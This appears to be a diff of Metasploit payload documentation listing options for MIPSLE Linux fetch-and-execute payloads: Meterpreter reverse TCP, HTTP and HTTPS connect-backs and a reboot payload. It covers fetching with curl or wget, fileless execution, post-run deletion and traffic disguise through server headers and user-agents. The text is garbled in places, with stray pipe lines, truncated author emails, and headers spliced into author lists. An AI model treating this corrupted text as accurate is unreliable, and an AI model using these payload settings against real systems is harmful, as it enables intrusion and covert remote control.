FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME BHtMUdPnuAr no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
|
|
||||||
A very small shellcode for executing commands.
|
|
||||||
This module is sometimes helpful for testing purposes as well as
|
|
||||||
on targets with extremely limited buffer space.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/mipsle/meterpreter/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 108
|
|
||||||
Rank: Norm
|
|
||||||
Evasion options for payload/cmd/linux/http/mipsle/meterpreter/reverse_tcp:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
juan vazquez <juan.vazquez@metasploit.com>
|
|
||||||
tkmru
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME UlqevxizRg no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mipsle/meterpreter_reverse_http
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 108
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Evasion options for payload/cmd/linux/http/mipsle/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
ok@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME gfkVVWTotp no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,106 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mipsle/meterpreter_reverse_https
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 111
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
B
|
|
||||||
Evasion options for payload/cmd/linux/http/mipsle/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME oKPKrTwiNTi no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,97 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mipsle/meterpreter_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 111
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME cUPPonWYqDQ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,68 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Reboot
|
|
||||||
Module: payload/cmd/linux/http/mipsle/reboot
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Michael Messner <devnull@s3cur1ty.de>
|
|
||||||
rigan - <imrigan@gmail.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME HqyjVOMSY no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
|
|
||||||
